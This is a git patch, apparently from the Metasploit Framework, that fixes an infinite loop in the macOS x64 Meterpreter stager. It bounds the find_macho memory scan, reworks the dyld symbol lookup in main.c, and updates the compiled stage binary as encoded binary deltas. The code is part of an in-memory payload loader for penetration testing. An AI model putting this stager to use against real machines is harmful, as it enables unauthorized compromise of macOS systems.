From bba9b76d252211e4aef599cb5160b366bde1d034 Mon Sep 17 00:00:00 2001
From: Tim W <timrlw@gmail.com>
Date: Tue, 24 Mar 2020 01:52:09 +0800
Subject: [PATCH] fix infinite loop in find_macho

fix osx loader to work within python macho
---
 data/meterpreter/x64_osx_stage              | Bin 4504 -> 4504 bytes
 external/source/shellcode/osx/stager/main.c |   9 +++++----
 2 files changed, 5 insertions(+), 4 deletions(-)

diff --git a/data/meterpreter/x64_osx_stage b/data/meterpreter/x64_osx_stage
index 240dc9ab542a160d0786730d8e84e32084b56117..9230f009187df3f380233da5e9d3fcc6b03f149a 100755
GIT binary patch
delta 629
zcmbQCJVSYc2;+^3qPvA2ure?(GB7Y)=KvBw@PKvWqco;^|JbA*?7OYhx(<3V-DJM*
zVg!^@0Ai3*20kt@2C<nze4d$%T0lww#D)S528IR+ARA;nGT;GnEPxm!#{|TzC!Vl?
zOw}(fF4E7*OakHH%Hqx2nI)MfE3kPnCQZ&}vtkUNyo^naQDpL2HgzTr=E>jKRE>@T
zwR`lMUStPS-Fs9TfQG%u1v<y0(?zAiqq#<<f`NbP0h9kL82MX4j(C|c*^ym}aq8r+
zY-+|q5Y2JOnty@BK$>56{Qv(SXmm2N?48M**wy)LkcE~{ehw6pM;0oYEW>e{F>>+?
z4l5>kw#h1-DUACkcXGznr|I#_w*XxMw4(WqhDT?OibQ9LiipP!h7Ul?>Vd+RE-DiI
z&GA4LJN^Shw)2=rw~va1N2iYphevmf3daj$u;*A*JeqA(nD|>2KxTEjsBkn|od5Oq
zAAc)9OaSBwg_m+bE>K#e^PmT_k2=I8iI+VfuN?=<17*S56+D`cXdF&UgE(+=4A&19
zrU$H(!}!$%A22hpG_Wu*A7Eo(3Seho+%UP9e~b77ZeYyiCMIX(GlUjb<|gImFhnsk
m9GDy-V8Q)>`vLm`#se%97!xMX7SLrpF!`i_Jjl3L0_y;A;i?b-

delta 573
zcmbQCJVSYc2;+%~qPv9@*cccX85kI*a{vh-P+;5mD2*wK%~(f$@+X7eOD*pdseG3F
zr~;G{0Lk-mfw2~h4-x|c4F-k=2_OwJ4jJ$OITk<+l4Al(Y~IAI$23`hC1COcRxd`S
z$=YmIjP8@u*wh$VC-<_cGya&Y!LFvZ4XD_o*K{H~km}x}(g4)@LYEoH>2y)4@Mx}4
zsbJu5jh)QPE)_lzqBIbsw6g`Q6t3kdNDf&G$PdR`RJH&qkgs1_0u{UjGC-CYAzQY3
zawEGsA2+g4+2n0Np?5$Z!p(P_{F?nVqsHXz99B&4SSNqxNMY=o9Kjh^ug5Rn0y37t
zqxp@7M`w+SLT8DJ%#Qy+OFNHwbo;0%cy#)x2zYeYs0h4}fO?Dr<S`B={#I#_#%>oC
zfkun-zux}iZv_TAM8Ko@h{j={j7;Z24`!$-3NM%Z|Noy~z5%ERWM73x=jJr7cPvZ_
zY?H(I)dVjvGq5<YFfcc;F)#_RGcXoR?&aSiz5p0COu3248TkyM#g(~9`8f<x%nTnU
kM+jJOFW|YrUT}bA0%HQh<k<qcj2|YS6p#lQ_ex+L02Y{$zW@LL

diff --git a/external/source/shellcode/osx/stager/main.c b/external/source/shellcode/osx/stager/main.c
index 77fb6fc9ea..a5976e0a42 100644
--- a/external/source/shellcode/osx/stager/main.c
+++ b/external/source/shellcode/osx/stager/main.c
@@ -34,6 +34,7 @@ static void print(char * str);
 #endif
 
 #define DYLD_BASE_ADDR 0x00007fff5fc00000
+#define MAX_OSXVM_ADDR 0x00007ffffffff000
 
 int main(int argc, char** argv)
 {
@@ -66,12 +67,12 @@ int main(int argc, char** argv)
   }
 
   NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
-  if (!NSCreateObjectFileImageFromMemory_func) {
+  while (!NSCreateObjectFileImageFromMemory_func) {
     dyld = find_macho(dyld + 0x1000, 0x1000);
-    NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
-    if (!NSCreateObjectFileImageFromMemory_func) {
+    if (!dyld) {
       return 1;
     }
+    NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
   } 
 #ifdef DEBUG
   print("good symbol!\n");
@@ -213,7 +214,7 @@ uint64_t syscall_chmod(uint64_t path, long mode)
 
 uint64_t find_macho(uint64_t addr, unsigned int increment)
 {
-  while(1) {
+  while(addr < MAX_OSXVM_ADDR) {
     uint64_t ptr = addr;
     unsigned long ret = syscall_chmod(ptr, 0777);
     if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {